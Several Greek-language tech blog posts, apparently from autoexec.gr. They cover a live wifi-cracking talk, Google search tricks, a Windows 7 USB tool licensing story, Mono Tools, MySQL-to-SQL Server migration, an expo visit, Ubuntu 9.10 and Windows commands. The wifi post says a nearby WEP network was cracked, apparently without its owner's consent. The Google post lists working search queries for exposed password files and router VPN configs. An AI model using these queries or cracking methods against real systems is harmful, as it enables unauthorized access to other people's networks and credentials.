    Ποια είναι η καλύτερη λύση, ειδικά για επιχειρησιακά περιβάλλοντα.
    Η ροή ήταν η εξής: Τι είναι wifi & τα πρωτόκολλα –> Αλήθειες και ψέματα για wifi hacking –> ανάλυση WEP hacking –> Live WEP hacking –> ανάλυση WPA2 hacking –> live WPA2 hacking (2 τρόποι) –> Τρόποι προστασίας –> WPA 2 Entrerprise (WS2008, NAP, Radius)

    Το πιο εντυπωσιακό της παρουσίασης ήταν όταν σηκώσαμε τον Βαγγέλη και έβαλε το δικό του password στο router, δίνοντας του τις δύο επιλογές που θα έπρεπε να επιλέξει για password (βάση των prehashed lists που είχαμε) και στην συνέχεια εφόσον μαζέψαμε τα σχετικά πακέτα το σπάσαμε σε περίπου δύο λεπτά με την χρήση της πρώτης prehashed λίστας. Ενώ να αναφέρω ότι το WEP που σπάσαμε ήταν ενός δικτύου που έτυχε να υπάρχει στην περιοχή(!!!), ενώ η περίπτωση του σπασίματος με password list έγινε έχοντας συμπληρώσει εμείς την σχετική λέξη σε μία αντίστοιχη λίστα.

    Οι γνώστες πάνω σε ασύρματο hacking και των σχετικών πρωτοκόλλων νομίζω εκτίμησαν περισσότερο το live σπάσιμο, τόσο του WEP, αλλά περισσότερο του WPA2. Οι χρόνοι για να σπάσει ένα κλειδί με ονόματα και ημερομηνίες, όποια και να ήταν αυτά, είναι στα περίπου δύο λεπτά. Ενώ στην περίπτωση που ο ‘στόχος’ χρησιμοποιεί σαν κλειδί το κινητό του, με την άλλη λίστα χρειάζεται μέχρι δέκα λεπτά.



    Η διαφορά μεταξύ μίας password list και μίας prehashed, είναι ότι για κάθε 1000 (χίλια) passwords στην πρώτη περίπτωση χρειάζεται 15 δευτερόλεπτα, ενώ στην περίπτωση prehashed list, θέλει 1 δευτερόλεπτο για να διαβάσει 100000 (εκατό χιλιάδες) passwords.

    Οπότε να ξεκαθαρίσουμε κάτι σε όποιους δεν το κατάλαβαν την ώρα της παρουσίασης.



    Η λίστα με τα κινητά δεν ήταν με τα κινητά όσων ήταν στην παρουσίαση, αλλά ΟΛΗΣ ΤΗΣ ΕΛΛΑΔΑΣ (εννοώντας όλων το ελληνικών εταιρειών παροχής κινητής τηλεφωνίας). (Πρέπει να το ανέφερα πολλές φορές αυτό ε;;

    Όταν τρέχαμε το COWPUTTY (για να σπάσουμε το WPA2 με prehashed) όταν βλέπατε να αλλάζουν νούμερα στο πλάι, ήταν ανά εκατοντάδες χιλιάδες. (Η φωτογραφία πιο πάνω είναι από προσπάθεια αναζήτησης απλής password list)






    Και ενώ μέχρι εδώ και ότι κάναμε με τον Γιώργο χρησιμοποιούσαμε Linux και ο Κλαδάκης είχε βγάλει τις κούκλες Voodoo, μήπως πάθουμε κάτι, ήρθαμε από μόνοι μας να αυτοσωθούμε από τα νύχια του. Ο λόγος είναι ότι η πιο αξιόπιστη λύση αυτή την στιγμή είναι με την χρήση WPA2 Enterprise, κάτι που δίνει ο Windows Server 2008 και στήνεται και σχετικά εύκολα.



     

    Φυσικά το όνομα… HACK MY SPACE… δεν ήταν για να δείξουμε ότι μπορούμε να χακάρουμε το Myspace, αλλά τον προσωπικό χώρο του καθενός.

    Σε αυτό το σημείο να έρθω να παραπονεθώ για αυτόν τον Μέρφυ αλλά και τους νόμους του και να ζητήσω συγνώμη για τις δύο περιπτώσεις που τα πράγματα δεν δούλεψαν όπως έπρεπε. Αλλά αυτό είναι το όμορφο του LIVE, το ότι το κάνει αυθεντικό. Στην πρώτη περίπτωση προσπαθώντας να κάνουμε injection στον WEP δίκτυο, η κάρτα του μηχανήματος μας έβλεπε άλλο κανάλι από αυτό που θα έπρεπε και του είχαμε δηλώσει. Πρόβλημα που κλασικά με μία επανεκκίνηση διορθώθηκε.

    Το δεύτερο έγινε όταν πήγαμε να σπάσουμε το WPA2 με prehashed λίστα με τον κωδικό που είχε βάλει ο Βαγγέλης. Εκεί το πρόβλημα ήταν ότι ο client δεν είχε κάνει σωστά assosiate με το wifi spot (το έβλεπε unsecure), οπότε τότε βάλαμε τον φίλο μας Βαγγέλη να μας πληκτρολογήσει πάλι τον κωδικό του ώστε ο client να συνδεθεί σωστά και εμείς να πάρουμε τα σωστά πακέτα.

    Νομίζω ότι ήμασταν οι μόνοι που ολοκληρώσαμε εντός χρόνου (ε κ. Κλαδάκη και έχοντας δείξει όλα τα πράγματα που θέλαμε. Όχι ότι θα λέγαμε όχι αν μπορούσαμε να σας πούμε αναλυτικά τον τρόπο γραφής των εντολών και την λογική σειρά που ούτως η άλλως αναλύσαμε.

    Ελπίζω να σας άρεσε και να ήσασταν αρκετά αυστηροί στις βαθμολογίες σας με εμάς. Να αναφέρω γιατί κάποιοι με ρώτησαν… στην εισαγωγή μας όπου χρησιμοποίησα το σφυρί για να σπάσω το wifi, ναι…το βαρούσα κανονικά και όχι εικονικά.

    Από εκεί και πέρα περιμένω τις ερωτήσεις σας σε αυτό το Blog Post και φυσικά προτάσεις που θα θέλατε να δείτε σε μελλοντικά blog posts μου ή του gspiliot.

    Σας ευχαριστώ όλους και πάλι.
  15. Blackman
    Το Google είναι ένα εργαλείο πλέον για την ζωή μας, αν και πρόσφατα η Microsoft δημιούργησε το bing.com, πολλοί από εμάς χρησιμοποιούμε ακόμα φανατικά την μηχανή του Google.
    Πολλοί έχουμε ακούσει τον όρο “Google hack”. Ναι οκ. Δηλαδή τι γίνεται; Πως γίνεται; Τι ακριβώς είναι, δεν νομίζω ότι έχουμε απαντήσει πολλοί σε αυτό.
    Για αυτό ήρθα εγώ να σας βάλω λίγο στην ιδέα. Η μηχανή του Google μας δίνει την δυνατότητα (ναι όλοι μπορούμε να το κάνουμε) να ψάξουμε σε κάθε τι που υπάρχει στο Internet, δίνοντας στον απλό χρήστη με την χρήση κάποιων ‘εντολών’ να περάσει μέσα από τρύπες που έχουν οι web servers.
    Ας δούμε όμως κάποια παραδείγματα.
    Sample 1
    Πηγαίνετε στο Google και γράψτε…
    intitle: "index of" mp3
    όπου ουσιαστικά φαίνεται καθαρά το τι γράφω. Φέρε μου τις σελίδες όπου στον τίτλο έχουν την λέξη “Index Of” και περιέχει πληροφορίες με όνομα mp3.

    τα αποτελέσματα που μας φέρνει είναι

    και πηγαίνοντας σε μία σελίδα βλέπουμε πχ

    Αν πληκτρολογήσετε το παραπάνω θα δείτε ότι την συγκεκριμένη εντολή την χρησιμοποιούν πολλοί για να βρουν αρχεία, από συγκεκριμένες σελίδες με την συγκεκριμένη περιγραφή.
    Sample 2
    Μία άλλη ενδιαφέρουσα εντολή είναι η
    !Host=*.* intext:enc_UserPassword=* ext:pcf
    όπου στην συγκεκριμένη περίπτωση βάζω pcf για να μου επιστρέψει configuration files για Cisco routers.

    μας φέρνει κάποια αποτελέσματα

    και επιλέγοντας πχ το πρώτο, μας έρχεται το παγωτό στο χέρι…

    Ωραία…τι έχουμε τώρα; Έχουμε το configuration file για τον Cisco router του European University Institute, το οποίο το σώζουμε σαν pcf στο pc μας και αν έχετε Cisco VPN Client, το βάζετε και συνδέεστε στο σύστημα τους. Δεν μπαίνετε μέσα, καθώς θα ζητήσει username και password, αλλά έχετε κάνει το πρώτο connection. Από εκεί και πέρα είναι θέμα επιπέδου γνώσεων το πως μπορεί κάποιος να εκμεταλλευτεί αυτό που μόλις ανέφερα.
    Sample 3
    Μία πιο περίπλοκη εντολή όπως η παρακάτω…
    "# -FrontPage-" ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" inurl:service.pwd
     
     
     
    δείτε τι κάνει. Αναζητεί τους web servers που έχουν δημιουργηθεί με FrontPage και ζητάμε να δούμε τα password που εμπεριέχει το αρχείο που αναφέρετε ως service.pwd

    τα αποτελέσματα που μας φέρνει είναι τα εξής:

    όπου τυχαία κλικάροντας σε κάποιες σελίδες έχουμε αποτελέσματα όπως…


    στα παραπάνω φαίνεται καθαρά ότι αυτό που έψαξε, αυτό βρήκε. Δηλαδή στο Url να εμπεριέχεται το service.pwd.
    Εντυπωσιακό ε;
    --------------
    Φυσικά οι εντολές που μπορείτε να χρησιμοποιήσετε στο google είναι πραγματικά πολλές και με λίγο ψάξιμο δεν θα δυσκολευτείτε να τις βρείτε. Αλλά να θυμάστε ότι αρκετές από αυτές τις εντολές λειτουργούν και στις υπόλοιπες search engines.
    Για να έχετε καλύτερη γεύση…
    μπορείτε να δείτε και εντολές όπως οι παρακάτω:
    "your password is" filetype:log allinurl: admin mdb ext:inc "pwd=" "UID=" ext:asa | ext:bak intext:uid intext:pwd -"uid..pwd" database | server | dsn filetype:dat "password.dat" filetype:inc intext:mysql_connect filetype:log inurl:"password.log" eggdrop filetype:user user intext:"enable secret 5 $" inurl:/db/main.mdb Σε γενικές γραμμές βλέπετε ότι υπάρχουν κάποιες σταθερές εντολές, όπου ο καθένας μπορεί να κάνει αναζήτηση. Έτσι με το filetype αναζητάς για τύπους αρχείων, με το Intext να εμπεριέχεται σε κείμενο η λέξη που θα βάλουμε, ενώ με το inurl να εμπεριέχεται στο URL.
    Υπάρχουν όμως και ποιο πολύπλοκες εντολές αναζήτησης, όπως ενδεικτικά σας παραθέτω…
    "Warning: mysql_connect(): Access denied for user: '*@*" "on line" -help –forum filetype:log "PHP Parse error" | "PHP Warning" | "PHP Error" intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*" intitle:"SuSE Linux Openexchange Server" "Please activate Javascript!" intitle:"teamspeak server-administration intitle:"Tomcat Server Administration" intitle:"TOPdesk ApplicationServer" intitle:"DocuShare" inurl:"docushare/dsweb/" -faq -gov -edu -----------------------------------------
    Ευελπιστώ μετά από αυτό το blog post, να αποκτήσατε μία εικόνα για το τι εστί google hacking. Καταλαβαίνετε ότι το Google Hack δεν είναι κάτι διαφορετικό από μία μεγάλη γκάμα vulnerability exploits. Από εκεί και πέρα είναι στο θέμα του χρήστη για το πως θα το χρησιμοποιήσει.
    Για ότι άλλο θέλετε απλά…Google It…
  16. Blackman
    Πρόσφατα ο φίλτατος Αντώνης Χατζηπαυλής έγραψε ένα blog post που ανέφερε για το πως μπορεί να γίνει εγκατάσταση Windows 7 με την χρήση USB. Η Microsoft είχε βγάλει το Windows 7 USB/DVD Tool ώστε ο κάθε χρήστης να μπορεί να δημιουργεί bootable USB ή DVD από κάποιο ISO.
    Το συγκεκριμένο εργαλείο είναι free για να το κατεβάσει κάποιος. Για το συγκεκριμένο εργαλείο υπήρχαν αναφορές ότι η Microsoft χρησιμοποίησε open source κώδικα ο οποίος είχε γίνει GPLv2 (General Public License) licenced στο ImageMaster Project [imageMaster is a .Net C# application for reading and writing disc images (*.iso files)].
    Φυσικά το πρόβλημα που προέκυψε είναι ότι η Microsoft το χρησιμοποίησε χωρίς να δοθούν credit στον προγραμματιστή του κώδικα. Στις 13 του μήνα στο port25 αναφέρθηκε πάνω σε αυτό ο Peter Galli στο blog του αναφέροντας τα εξής:
     

    After looking at the code in question, we are now able to confirm this was indeed the case, although it was not intentional on our part. While we had contracted with a third party to create the tool, we share responsibility as we did not catch it as part of our code review process. We have furthermore conducted a review of other code provided through the Microsoft Store and this was the only incident of this sort we could find.  
    When it comes to our attention that a Microsoft component contains third party code, our aim is to be respectful of the terms under which that code is being shared. As a result, we will be making the source code as well as binaries for this tool available next week under the terms of the General Public License v2 as described here, and are also taking measures to apply what we have learned from this experience for future code reviews we perform
    Μετά από αυτό, την εβδομάδα που μας πέρασε, η Microsoft έδωσε τον κώδικα του συγκεκριμένου εργαλείου μαζί με τα binaries και φυσικά όλα είναι κάτω από GPLv2. Στην παρούσα φάση το εργαλείο δεν είναι διαθέσιμο από την Microsoft για να γίνει download καθώς η ομάδα που ασχολείται προσπαθεί να τελειώσει τον κώδικα ώστε το εργαλείο να είναι διαθέσιμο σε όλες τις γλώσσες, με βάση όσων ανέφερε ο Peter Galli στο blog του την Παρασκευή 20/11.
    Στην σελίδα της CodePlex ωστόσο που ήταν διαθέσιμος ο κώδικας του αρχικού προγραμματιστή, πλέον δεν θα τον βρείτε διαθέσιμο. Στην ίδια σελίδα του port25 υπήρξαν ερωτήσεις για τον λόγο της εξαφάνισης του συγκεκριμένου κώδικα. Η απάντηση ήρθε εχθές 23/11 από την Program Manager του CodePlex, Sara Ford η οποία ανέφερε ότι ο κώδικας απομακρύνθηκε μετά από επιλογή του δημιουργού του και φυσικά ο ίδιος μπορεί να τον επανεκδώσει όποτε θελήσει.
    Τα σχόλια… δικά σας!
    Υ.Γ. Να μην ξεχάσω να αναφέρω ότι ο αγαπητός frees πριν λίγες ημέρες έγραψε για τα συγκεκριμένα tools στο http://autoexec.gr/blogs/freespoint/archive/2009/10/22/19677.aspx αλλά σε συνεχεία του παραπάνω blog post θα δείτε ότι το link στο store της Microsoft για να κατέβει αυτό το αρχείο, για την ώρα δεν λειτουργεί.
  17. Blackman
    Όπως ανακοινώθηκε πρόσφατα η συνεργασία της Microsoft με την Novel έφερε το εξής αποτέλεσμα, την Novel να λανσάρει τα Mono Tools For Visual Studio στους χρήστες του Linux. Με αυτό τον τρόπο πλέον οι developers και όχι μόνο που χρησιμοποιούν την ανοιχτή πλατφόρμα του Linux μπορούν πλέον να δημιουργούν (build) αλλά και να διορθώνουν (debug) χρησιμοποιόντας το Visual Studio.
    Φυσικά το συγκεκριμένο δεν περιορίζεται μόνο στο Linux, αλλά και για Unix αλλά και Mac OS X. και όπως ανέφερε η Novel:
    "Mono Tools for Visual Studio is a commercial solution that enables C# and .NET developers trained in Microsoft Visual Studio to stay within their preferred IDE, and use their existing skills and extensive .NET ecosystem of code, libraries and tools to develop or port applications to Linux, UNIX or Mac OS X. Prior to Mono Tools, .NET application porting required developers to invest heavily in learning new programming tools and rewriting/re-architecting applications. With Mono Tools, developers trained in the popular Visual Studio IDE can utilize their existing skills and expertise to build multi-platform applications and identify related issues, isolating and fixing them directly within Visual Studio."
    Με αυτόν τον τρόπο η Microsoft & η Novel δίνουν τελικά την δυνατότητα στους developers να διευρύνουν των ‘χώρο εργασίας’ τους.
    "Key features of Mono Tools for Visual Studio include:
    · Development and porting of .NET applications to Linux, UNIX and Mac OS X with analysis, testing, debugging and deployment all from within Visual Studio. Using Mono Tools for Visual Studio, ISVs, corporate developers and development services providers can dramatically cut the costs of multi-platform application development and save time in porting existing .NET applications to non-Windows platforms.
    · Creation of turnkey virtual appliances and software appliances for .NET applications using integrated appliance building functionality. Mono Tools for Visual Studio delivers out-of-the-box integration with SUSE Studio Online, an innovative, easy-to-use hosted tool that enables users to rapidly build and test appliances based on SUSE Linux Enterprise Server or openSUSE. ISVs and development services providers can immediately fulfill demand for appliance versions of their existing applications, thus increasing revenue opportunities while simplifying application support and accelerating sales cycles.
    · Integrated porting analysis tools that provide .NET developers a road-map to Linux, Mac OS X and UNIX. Many .NET developers today lack an approach or even an idea of where to begin an application port to non-Windows platforms, a challenge quickly solved with Mono Tools.
    · Ability to run and debug applications in Mono within Visual Studio to isolate incompatibilities between Mono and .NET and between Linux and Windows—issues which may affect cross-platform application development.
    · Automated packaging for SUSE Linux Enterprise Server and openSUSE to prepare applications for immediate deployment on Linux.
    "With Mono Tools for Visual Studio, we are bridging the gap between Visual Studio, one of the world's leading development platforms, and Linux, one of the world's leading deployment platforms," said Miguel de Icaza, Mono project founder and vice president of Developer Platforms at Novell. "Customers have been asking us for an easier, [simpler] and streamlined process [by which] to port their .NET applications to Linux, UNIX and Mac. By integrating our tools right into Visual Studio, we are enabling developers familiar with Windows and .NET to quickly bring their applications to the Linux market, and ISVs to offer their software as ready-to-run appliances."
    Τα Mono Tools θα είναι διαθέσιμα σε τρεις εκδόσεις.
    Professional Edition - 99$ Enterprise Edition - 249$ ανά developer Ultimate Edition – 2.499$ που εμπεριέχει limited commercial license to redistribute Mono on Windows, Linux and Mac OS X και είναι 5 άδειες enterprise developer Τα σχόλια δικά σας.
     
    πηγές: http://www.eweek.com , http://tech.yahoo.com,
  18. Blackman
    Πρόσφατα ένας φίλος με ρώτησε, πως θα μπορούσε να μεταφέρει μία βάση που είχε στημένη σε MySQL, σε μία βάση SQL Server 2008 Express Edition.



    Στην αναζήτηση μου για να βρω λύση στο πρόβλημα του φίλου, θυμόμουν μία διαδικασία integration που μπορείτε να βρείτε στο technet της Microsoft ΕΔΩ.



    Το μοναδικό πρόβλημα στην περίπτωση μας, είναι ότι μιλάμε για SQL 2008. Στην παραπάνω διαδικασία μιλάει για την χρησιμοποίηση του Data Transformation Services (DTS) για να μπορέσει να ολοκληρωθεί το migration, πράγμα που δεν υπάρχει στην περίπτωση του SQL server 2008 (και του SQL 2005 φυσικά). Οπότε ξεκίνησα το ψάξιμο για να δω αν μπορώ να βρω κάτι για να ξεπεράσουμε την όλη διαδικασία και να ολοκληρωθεί το Migration (που σε όλα τα άλλα βήματα, προχώρησε χωρίς πρόβλημα, όπως περιγράφει και η MS).

    Τελικά το αντίστοιχο tool λέγεται SQL Server Integration Services (SSIS), αλλά δεν υπάρχει στην Express έκδοση του SQL. Η λύση είναι η εξής:

    Από το σύστημα που έχουμε εγκατεστημένη την SQL 2008 Express edition πηγαίνετε στην σελίδα http://dev.mysql.com/downloads/connector/odbc/5.1.html και κατεβάζετε τον σχετικό ODBC driver για την MySQL (έκδοση 5.1 στην περίπτωση μας) και στην συνέχεια  χρησιμοποιούμε το παραπάνω για να δημιουργήσουμε ένα Linked Server στον αρχικό MySQL Server που θέλουμε να κάνουμε Migrate. Στην συνέχεια τρέχουμε ένα query το οποίο θα κάνει copy την βάση, πίνακα με πίνακα και το οποίο είναι το εξής:

    (φυσικά αντίστοιχα γράφετε τον όνομα του server σας, της σχετικής βάσης και τα κλασικά username & password)

    EXEC master.dbo.sp_addlinkedserver @server = N'MYSQL', @srvproduct=N'MySQL', @provider=N'MSDASQL', @provstr=N'DRIVER={MySQL ODBC 5.1 Driver}; SERVER=127.0.0.1; DATABASE=Db_NAME; USER=myusername; PASSWORD=mypass; OPTION=3'

    και για να γίνει το copy για ένα πίνακα

    select * into MSSQL_DB_Name.dbo.TableName

    from openquery(MySQL, 'select * from Db_Name.TableName')

    και έτσι ολοκληρώνετε το migration, προχωρώντας και στους υπόλοιπους πίνακες. Φυσικά το παραπάνω ισχύει και στην περίπτωση SQL 2005 Και λογικά δεν θα έχετε πρόβλημα να το τρέξετε και σε άλλη έκδοση πέραν της Express, αλλά αυτό δεν το έχω δοκιμάσει.

    Νομίζω ότι το παραπάνω είναι πολύ χρήσιμο να το γνωρίζετε ότι γίνεται. Έτσι μπορεί να γίνει Migration μίας βάσης από MySQL είτε αυτή είναι σε κάποιο Open Source σύστημα είτε σε κάποιο άλλο.

    DOWNLOADS

    SQL Server 2008 Express Edition

    MySQL ODBC driver

    SQL Server 2005 Express Edition
  19. Blackman
    Όπως κάθε χρόνο, έτσι και φέτος η Τεχνόπολις στο Γκάζι φιλοξένησε την έκθεση Athens Difital Week 2009. Έτσι και εγώ αποφάσισα να περάσω μία βόλτα την τελευταία ημέρα (18/10).

    Αξίζει να σημειωθεί, ότι κάθε μέρα ήταν ξεχωριστή, καθώς διαφορετικά πράγματα παρουσιάζονταν σε όλα τα σημεία κάθε ημέρα σε κάθε “κτήριο-θέμα”.

    Τι είδαν όσοι πήγαν;


    Robotics
    Modding
    Gaming
    Visual Art
    Open Source
    Digital Music
    Telecom
    Space
    Social Networking
    Εμένα η βόλτα μου ξεκίνησε από τα robotics, όπου διάφορες ομάδες πανεπιστημίων, αλλά και εταιρειών παρουσίαζαν συστήματα ρομποτικής, τα οποία έκαναν πολλά και πανέμορφα πράγματα.

    Φυσικά τα βλέμματα όλων, τράβηξε ο αγώνας ποδοσφαίρου μεταξύ των Blue Robocops και των Red Tinheads, όπου το σκορ έληξε ισόπαλο 0-0. Τα ρομπότ που βλέπετε δούλευαν τελείως αυτόματα, χωρίς παρέμβαση κάποιου και ήταν προγραμματισμένα να εντοπίσουν την πορτοκαλί μπάλα και να την κλοτσήσουν προς τα αντίπαλα δίχτυα. Ο εντοπισμός της μπάλας γινόταν με ειδικούς αισθητήρες που τα ρομπότ είχαν στα “μάτια” τους.



    (λίγο πριν την σέντρα)



    Εδώ ο DenehoMessi έχει γυρίσει να πάρει την μπάλα. Στο βάθος ο απογοητευμένος Νίκος Τενεκεδάκης που έχει γυρίσει και μιλάει με τον κόσμο, γιατί δεν του έκανε πάσες ο συμπαίκτης του.



    Λίγο πριν κάνει τάκλιν ο Βαγγέλης Σκουριάς στον αντίπαλο του.

    ------

    Στην μέση της έκθεσης έξω από τα κτήρια, είχε στηθεί μία μεγάλη σκηνή από το MTV Ελλάδας, όπου κάθε μέρα διαφορετικοί καλλιτέχνες έδιναν digital τόνο  στην έκθεση.

    Η βόλτα μου προχώρησε στο επόμενο κτήριο όπου είχε να κάνει με Visual Art και Digital Music, αλλά δεν ήταν κάτι που εμένα προσωπικά με ενθουσίασε. Ενδιαφέρουσες καταστάσεις, αλλά έμεινα λίγο. Αφού κάτι πιτσιρίκια είχαν κάνει κατάληψη σε υπολογιστές με σχετικές εφαρμογές visual arts που έπαιζες και δεν κατάφερα να δω τι ακριβώς συμβαίνει. Στον τομέα της μουσικής τα πράγματα ήταν απλά, με κάποια προγράμματα και κονσόλες, συνδυασμένα με μουσικά όργανα, έδεναν, αλλά όταν πήγα εγώ δεν υπήρχε κάποιος για να δώσει περισσότερες εξηγήσεις.

    Επόμενη στάση ήταν Modding και Open Source. Τα παιδιά από την ελληνική κοινότητα του modding έχουν φτιάξει καταπληκτικά πράγματα, ενώ δεν έλειπαν τα σχετικά shows. Την τελευταία ημέρα ένας από τους καλύτερους θα έκανε παρουσίαση συστήματος ψύξης με υγρό άζωτο, αν δεν κάνω λάθος, αλλά αυτό θα γινόταν μετά από ώρα που δεν μου επέτρεπε να μείνω (δεν ήμουν και μόνος μου). Αλλά αυτά που θα δείτε, αξίζουν πολλά μπράβο στα παιδιά που ασχολήθηκαν.



    Ο φίλος με το παραπάνω μηχάνημα, έχει βγάλει το πάνω μέρος του δίσκου και το έχει αντικαταστήσει με plexy glass, με αποτέλεσμα να βλέπετε τον δίσκο να λειτουργεί live. Ενώ ένας άλλος ‘τρελός’ φίλος του Michael Jackson δείχνει με εμφανή τρόπο την αγάπη του στον προσφάτως αποθανόντα σταρ.



    Μεγάλη εντύπωση όμως που προκάλεσε η παρακάτω δημιουργία, όπου ο εν λόγω ιδιοκτήτης του μηχανήματος έχει χαράξει αυτό που βλέπετε.



    Στην συνέχεια θα δείτε πόσο τρελός είναι ο κόσμος.

    - Νίκο, βάψτο μπλε και πέτα το στην Θάλασσα

    - Το πέταξα, αλλά δουλεύει ακόμα

     

    Underwater PC, έτσι για να παίζουν και τα ψαράκια…που όπως βλέπετε στις φωτογραφίες υπάρχουν και κάνουν βόλτες.

    Υπήρχαν και κατασκευές για γρήγορους, (όπως ο Κουρής και εγώ) με ένα πολύ όμορφο αποτέλεσμα.



    Δεξιοτίμονο, 300 άλογα, 70 κιλά ροπή, 500gb σκληρό, 4GB ram, με δυνατότητα μεταμόρφωσης σε τανκ, με πάτημα ενός κουμπιού



    Φυσικά υπήρχαν και κατασκευές που ήταν απλά από άλλο πλανήτη. Το παρακάτω μηχάνημα τεραστίων διαστάσεων, με πλήρη υδρόψυξη ΣΤΑ ΠΑΝΤΑ, full overclocked κάνει άνετα για server της Nasa.

     

    Δεν ξέρω αν φαίνεται, αλλά υπάρχει υδρόψυξη ακόμα και στις μνήμες.



    - Άσε σου λέω… τράκαρα και το αμάξι έγινε σμπαράλια. Μόνο η μία ζάντα έμεινε.

    -Και?Τι την έκανες;

    -PC…



    Η παρακάτω moda, ήταν επίσης πολλών αστέρων και λόγο της λειτουργικότητας, αλλά και λόγο του style. Το υγρό στο πλάι μου θύμισε κλουβί πουλιού, αλλά όπως βλέπετε το PC βγήκε πολύ πρώτο. CAUTION RADIATION AREA



    Στην συνέχεια, παρακολούθησα λίγο το σημείο που αναφερόταν ως Open Source και τράβηξα μία φωτό με τον Tux και το έτερον. Εκείνη την ημέρα, παρουσίαζαν το Fedora, ενώ τις προηγούμενες ημέρες άλλες διανομές ήταν εκεί για να τις γνωρίσει ο κόσμος.



    Στην συνέχεια πέρασα και από το Gaming και Space, όπου να πω την αμαρτία μου, Space δεν είδα καθόλου, γιατί έπαιζα HALO με το ξανθό, μέχρι που ήρθαν κάτι πιτσιρικάδες και με παρακάλεσαν να φύγω για να παίξουν.

    Τέλος πριν φύγω πέρασα και λίγο από το Social Networking, όχι ότι κατάλαβα τον λόγο ύπαρξης του εκεί, αλλά τέλος πάντων. Την επόμενη φορά, θα φροντίσω να περάσω πέραν της μία φοράς, για να δω και άλλα πράγματα.

    Φροντίστε και εσείς…stay tuned http://www.athensdigitalweek.org/

    Ο απεσταλμένος του autoexec.gr Γεώργιος Συγκελάκης Blackmanakis
  20. Blackman
    Την προσεχή Πέμπτη 29/10 όποιος επιθυμεί θα μπορέσει να κατεβάσει την νέα (final) έκδοση του Ubuntu με την ονομασία Karmic Koala.

    Αρκετά features έχουν επανασχεδιαστεί, ταχύτερο Login, βελτιωμένη συνδεσιμότητα με 3G δίκτυα και διάφορα άλλα. Η έκδοση θα κυκλοφορήσει μαζί με την έκδοση για Server, η οποία είναι και αυτή free. Η έκδοση για laptops και netbooks, η Ubuntu Notebook Remix, θα εμπεριέχει αυτή την φορά τον Empathy, ένα πρόγραμμα Instant Messaging που έλειπε στις παλαιότερες εκδόσεις.



    Γενικά οι αλλαγές είναι οι εξής:

    Τελευταία έκδοση ανάπτυξης του Gnome 2.27.4
    Τελευταία έκδοση ανάπτυξης του Linux Kernel 2.6.31
    Αντικατάσταση του Pidgin με το Empathy για instant messaging. Το Empathy βασίζεται στην πλατφόρμα Telepathy και προσφέρει υποστήριξη για επικοινωνία με ήχο και βίντεο και καλύτερη ενσωμάτωση με τις υπόλοιπες εφαρμογές του GNOME.
    Τελευταία έκδοση του Gdm(η οθόνη στην οποία δίνουμε τον κωδικό μας για να συνδεθούμε στον Ubuntu όταν ξεκινάει) με ριζική ανανέωση του
    Τελευταία έκδοση του firefox 3.5.2
    Προσθήκη του Palimpsest Disk Utility ενός νέου εργαλείου διαχείρισης των αποθηκευτικών μέσων
    Προσθήκη του Ubuntu One sharing μια υπηρεσία συγχρονισμού και ανταλλαγής αρχείων μέσω δικτύου
    Αντικατάσταση του hal με το "DeviceKit-power","DeviceKit-disks" για power management, laptop Hotkeys, camera maps και διαχειριστή αποθηκευτικών μέσων.
    Εγκατάσταση στο νέο σύστημα αρχείων ext4
    Χρήση του Grub 2 ως boot loader με ριζική ανανέωση του


    Αξίζει πάντως να σημειωθεί ότι η έκδοση για Server χρησιμοποιεί τα ίδια APIs με του Amazon EC2 cloud-based service. Το Ubuntu Enterprise Cloud (UEC) είναι μία τεχνολογία cloud-computing υποστηριζόμενη από την Eucalyptus Systems και θα έχει δυνατότητες online storage (δεν είναι 100% έτοιμο), δίνοντας την δυνατότητα στους χρήστες για εκτελούν διάφορα μέσα στο περιβάλλον του UEC. Πάντως μία πρώτη εικόνα θα μπορούμε να την έχουμε μέσα από την έκδοση 9.10. Οι αναφορές πάντως λένε ότι το storage θα είναι 2GB free και 50GB με 10$ το μήνα.

    Σε επίπεδο Interoperability, οι προσθήκες που έχουν γίνει είναι πολλές και η βοήθεια από τους χρήστες παγκοσμίως, ώστε να μειωθούν ότι προβλήματα, ήταν μεγάλη. Ενώ σε επίπεδο χρηστικότητας, το σύστημα έχει γίνει ακόμα πιο φιλικό με τον χρήστη.

    http://www.ubuntu.com/

    Σύντομα θα υπάρξει και σχετικό άρθρο για migration από Windows σε Linux και το ανάποδο.
  21. Blackman
    Με αφορμή το σχετικό άρθρο για το Netstat και το πως να εντοπίζουμε κάποιο malware με αυτό τον τρόπο, αποφάσισα να γράψω ένα σχετικό blog post με τις αγαπημένες μου εντολές και την σχετική χρησιμότητα τους

    openfiles : Δείτε λίστα με όλα τα αρχεία που έχουν ανοιχτεί από network users και αποσυνδέστε όποιον θέλετε. Αλλά αν είναι πολλοί πάνω, μάλλον θα έχουμε καθυστερήσεις. Οπότε πολύ όμορφα αν κάποιος έχει συνδεθεί πάνω στο σύστημα σας και βλέπει πράγματα που δεν θέλετε… καταλαβαίνετε.



    fsutil : Οι περισσότεροι την γνωρίζετε. Είναι παρόμοια με την netsh για file system management. Σας επιτρέπει να αλλάξετε την συμπεριφορά ενός file system και διάφορα άλλα. Εντολή που πρέπει να τρέξετε όταν ο υπολογιστής σε κάθε επανεκκίνηση κάνει chkdsk για να δείτε αν ο δίσκος είναι dirty.



    driverquery : Ωραίο εργαλείο με το οποίο βλέπετε αναλυτικά όλους τους εγκατεστημένους drivers στο σύστημα. Τα αποτελέσματα μπορούν να βγουν σε CSV και να τα χρησιμοποιήσετε όπως θέλετε.



    defrag : Defragment μέσω command line.



    systeminfo :Η εντολή που σας δίνει στοιχεία για το τοπικό ή κάποιο απομακρυσμένο μηχάνημα. Πολύ ωραίος τρόπος για να ελέγξεις αν δεν έχει εγκατασταθεί κάποιο fix ή patch. Troubleshooting ή tourblemaking με SYSTEMINFO /S system /U user



    ipconfig – Ένα από τα πιο γνωστά προγράμματα για την διαχείριση προβλημάτων είναι το ipconfig. Μπορείτε να κάνετε release ή renew την δυναμική IP μίας κάρτας, να δείτε ή να καθαρίσετε την cache του DNS και μετά αν ξανακάνετε re-register το όνομα του μηχανήματος στον DNS. Από τα Vista και μετά υπάρχει η υποστήριξη IPv6.



    tasklist and taskkill – Δύο εντολές που έρχονται πακέτο και είναι αρκετά εύκολες στην χρήση. Με taklist /v θα δείτε περισσότερες πληροφορίες. Με το taskkill απλά κλείνετε ότι δεν θέλετε. Ο τρόπος για να γίνει kill μία απλή ή multiple process εφαρμογή, θα πρέπει να χρησιμοποιήσετε το /PID ή το image name /ΙΜ.

